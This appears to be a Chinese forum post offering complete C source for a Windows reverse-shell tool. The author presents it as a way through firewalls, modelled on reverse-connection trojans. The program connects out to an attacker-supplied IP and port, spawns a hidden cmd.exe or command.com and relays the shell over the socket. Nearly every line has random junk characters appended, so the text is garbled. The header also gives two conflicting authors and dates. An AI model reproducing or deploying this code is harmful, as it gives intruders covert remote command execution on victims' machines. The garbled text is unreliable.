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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 TTz=*t+D  
>GGM76vB=,  
/* ============================== -tj#BEC[H(  
Rebound port in Windows NT k$3pmy*  
By wind,2006/7 JU?;Kq9R  
===============================*/ .9nqJ7]  
#include yE8D^M|g  
#include !kovrvM6F  
ba|xf@=&  
#pragma comment(lib,"wsock32.lib") D&%8JL  
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void OutputShell(); tO M$'0u  
SOCKET sClient; jIubJQR~  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; }?s-$@$R  
23gN;eD+m6  
void main(int argc,char **argv) W"c\/]aD  
{ 1<r!9x9G  
WSADATA stWsaData; V~*Gk!+f  
int nRet; gk%nF  
SOCKADDR_IN stSaiClient,stSaiServer; dk|LC-]`A  
 XIInI  
if(argc != 3) 7;EDU  
{ 5Z>a}s_i  
printf("Useage:\n\rRebound DestIP DestPort\n"); $6rm;UH  
return; W%L'nR~w$  
} wQ+pVu?6_  
rl|'.~mc  
WSAStartup(MAKEWORD(2,2),&stWsaData); ?^Rp" H   
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); & FhJ%JK  
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stSaiClient.sin_family = AF_INET; ^ Ps!  
stSaiClient.sin_port = htons(0); FK^xZ?G  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); FRQ.ix2  
{-4+=7Sg1  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 9O;Sn+  
{ L7rgkxI7k*  
printf("Bind Socket Failed!\n"); /wJ#-DZ  
return; & =[!L0{  
} @z1QoZ^w  
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stSaiServer.sin_family = AF_INET; ZNBowZI  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ` UsJaoR#f  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ?Lg<)B9   
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 5?0<.f,  
{ R-Edht|{  
printf("Connect Error!"); ^~~Rto)Y  
return; wA5Iz{uQO  
} w-K A~  
OutputShell(); *tqD:hiF  
} [7I:Dm  
cW%)C.M  
void OutputShell() [G}dPXD  
{ wn[)/*(,$(  
char szBuff[1024]; L$PbC!1  
SECURITY_ATTRIBUTES stSecurityAttributes; `+,?%W)  
OSVERSIONINFO stOsversionInfo; p1UloG\  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; a=MN:s?Fc0  
STARTUPINFO stStartupInfo;  0s;~9>  
char *szShell; xS|9Gk  
PROCESS_INFORMATION stProcessInformation; _.s ,gX  
unsigned long lBytesRead; w/#7G\U  
b/S:&%E  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); spa :5]B  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ?|5M'o|9  
stSecurityAttributes.lpSecurityDescriptor = 0; &#PPXwmR  
stSecurityAttributes.bInheritHandle = TRUE; 2.^{4 1:  
r&LZH.$oh  
~5P9^`KNH  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); hz:7W8  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); KrGl}|  
wpZ"B+oK!  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 1M`E.Ztw*  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Ch"wp/[  
stStartupInfo.wShowWindow = SW_HIDE; Ow;thNN  
stStartupInfo.hStdInput = hReadPipe; UT3Fi@  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 8eB,$;i  
kkl'D!z2g  
GetVersionEx(&stOsversionInfo); l[E^nh>  
h .Qk{v  
switch(stOsversionInfo.dwPlatformId) 7!J-/#!  
{ Jqxd92 bI  
case 1: "1a;);S=*)  
szShell = "command.com"; |ke0G  
break; gv67+Mf  
default: `3\aX|4@  
szShell = "cmd.exe"; 2K:A4)jZ  
break; AS;Sz/YP  
} yY#h 1  
EXSJ@k6=8s  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); }c8nn  
:?xH)J,imk  
send(sClient,szMsg,77,0); /h53;$zK  
while(1) "l&SRX?g  
{ `rn/H;r!Z  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); T~3{$  
if(lBytesRead) zmhc\M ?z  
{ &{j!!LL  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ?M:>2wl  
send(sClient,szBuff,lBytesRead,0); eA& #33  
} F(VVb(\jd  
else fw&*;az  
{ lAnq2j|  
lBytesRead=recv(sClient,szBuff,1024,0); V*n$$-5 1-  
if(lBytesRead<=0) break; wNmpUO ?  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ]gBnzh.  
} Ek<Qz5)  
} v]SxZLa  
)WoH>D  
return; ST{Vi';}  
}
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